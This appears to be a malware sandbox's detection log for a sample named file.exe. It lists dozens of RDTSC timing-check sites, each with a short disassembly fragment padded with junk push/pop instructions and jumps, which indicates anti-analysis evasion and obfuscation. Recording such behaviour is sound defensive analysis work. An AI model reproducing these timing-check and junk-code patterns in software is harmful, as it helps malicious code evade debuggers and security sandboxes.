Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12209AE second address: 12209B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220B24 second address: 1220B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220C96 second address: 1220C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220C9B second address: 1220CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB21D05D606h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220CB5 second address: 1220CB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220F79 second address: 1220F87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D5FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220F87 second address: 1220FA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220FA0 second address: 1220FA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1220FA5 second address: 1220FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D0A7D80h 0x00000009 jne 00007FB21D0A7D76h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB21D0A7D82h 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FD8E second address: 121FD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121FD92 second address: 121FDAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FB21D0A7D85h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223F08 second address: 1223F0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223F0C second address: 1223F24 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB21D0A7D82h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223F24 second address: 1223F2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223F2A second address: 1223F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223F30 second address: 1223F41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 js 00007FB21D05D606h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1223F41 second address: 1223F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226F1D second address: 1226F3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D603h 0x00000007 jno 00007FB21D05D5F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226F3A second address: 1226F57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FB21D0A7D76h 0x0000000a jmp 00007FB21D0A7D83h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226A9C second address: 1226AAF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jng 00007FB21D05D5F6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1226AAF second address: 1226ABE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jnp 00007FB21D0A7D7Ah 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E160 second address: 122E165 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E165 second address: 122E174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 jng 00007FB21D0A7D82h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122E174 second address: 122E17A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CBF0 second address: 122CBFC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CBFC second address: 122CC06 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CD7C second address: 122CD86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB21D0A7D76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122CD86 second address: 122CDB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D5FBh 0x00000007 jne 00007FB21D05D5F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FB21D05D608h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E6882 second address: 11E6888 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D2DC second address: 122D2F4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB21D05D5F6h 0x00000008 jnl 00007FB21D05D5F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jbe 00007FB21D05D5FEh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D2F4 second address: 122D301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D301 second address: 122D307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122D307 second address: 122D30B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12310BA second address: 12310C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12310C0 second address: 12310C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12310C6 second address: 12310CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230DB6 second address: 1230DCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D0A7D7Eh 0x00000009 jng 00007FB21D0A7D76h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230DCF second address: 1230DD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1230DD5 second address: 1230DD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234FB1 second address: 1234FCB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB21D05D5F6h 0x00000008 jne 00007FB21D05D5F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jno 00007FB21D05D5F6h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234FCB second address: 1234FD0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234401 second address: 1234412 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D5FBh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234412 second address: 123441A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123441A second address: 1234422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1234422 second address: 1234428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123455E second address: 1234584 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB21D05D5F8h 0x00000008 pushad 0x00000009 jmp 00007FB21D05D5FDh 0x0000000e je 00007FB21D05D5F6h 0x00000014 jbe 00007FB21D05D5F6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123470E second address: 123473A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB21D0A7D7Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FB21D0A7D85h 0x00000010 popad 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123473A second address: 123474F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D5FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123C515 second address: 123C538 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D0A7D83h 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FB21D0A7D7Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123C538 second address: 123C53C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A534 second address: 123A53E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB21D0A7D76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A698 second address: 123A6BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D607h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A6BA second address: 123A6F3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB21D0A7D76h 0x00000008 jmp 00007FB21D0A7D84h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB21D0A7D89h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A878 second address: 123A87E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A87E second address: 123A882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A882 second address: 123A890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123A890 second address: 123A89C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push ebx 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B996 second address: 123B9A2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B9A2 second address: 123B9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123B9A6 second address: 123B9AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 123BC59 second address: 123BC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 je 00007FB21D0A7D7Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12403F7 second address: 124042D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jmp 00007FB21D05D5FFh 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB21D05D609h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124042D second address: 1240432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240ABC second address: 1240AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1240AC0 second address: 1240AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DDDE second address: 124DDF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007FB21D05D601h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DDF5 second address: 124DE0B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB21D0A7D76h 0x00000008 je 00007FB21D0A7D76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BECD second address: 124BED3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BED3 second address: 124BEE4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FB21D0A7D76h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C482 second address: 124C488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C761 second address: 124C766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C766 second address: 124C76F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C76F second address: 124C794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007FB21D0A7D82h 0x0000000b jnl 00007FB21D0A7D76h 0x00000011 jnc 00007FB21D0A7D76h 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f jl 00007FB21D0A7D76h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C794 second address: 124C79A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C946 second address: 124C96C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FB21D0A7D76h 0x00000009 push edi 0x0000000a pop edi 0x0000000b jmp 00007FB21D0A7D86h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124C96C second address: 124C972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CBF2 second address: 124CC39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jbe 00007FB21D0A7D95h 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007FB21D0A7D83h 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CC39 second address: 124CC3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CD90 second address: 124CD94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CD94 second address: 124CD9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CD9A second address: 124CDC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FB21D0A7D78h 0x0000000c pop esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FB21D0A7D84h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CDC0 second address: 124CDCA instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB21D05D5F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124CDCA second address: 124CDDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BA28 second address: 124BA32 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB21D05D5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BA32 second address: 124BA38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BA38 second address: 124BA3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124BA3C second address: 124BA54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FB21D0A7D97h 0x00000010 push eax 0x00000011 push edx 0x00000012 js 00007FB21D0A7D76h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12546D2 second address: 12546FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D05D601h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FB21D05D5FEh 0x0000000e jo 00007FB21D05D602h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12546FD second address: 1254703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262A5A second address: 1262A6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D5FEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262A6E second address: 1262A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FB21D0A7D7Ch 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1262719 second address: 126271D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126271D second address: 1262736 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB21D0A7D82h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126602D second address: 1266043 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB21D05D5FAh 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265A6F second address: 1265A86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 jp 00007FB21D0A7D7Ch 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265A86 second address: 1265A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1265C05 second address: 1265C09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E21E second address: 126E241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB21D05D5FEh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB21D05D5FEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126E241 second address: 126E245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
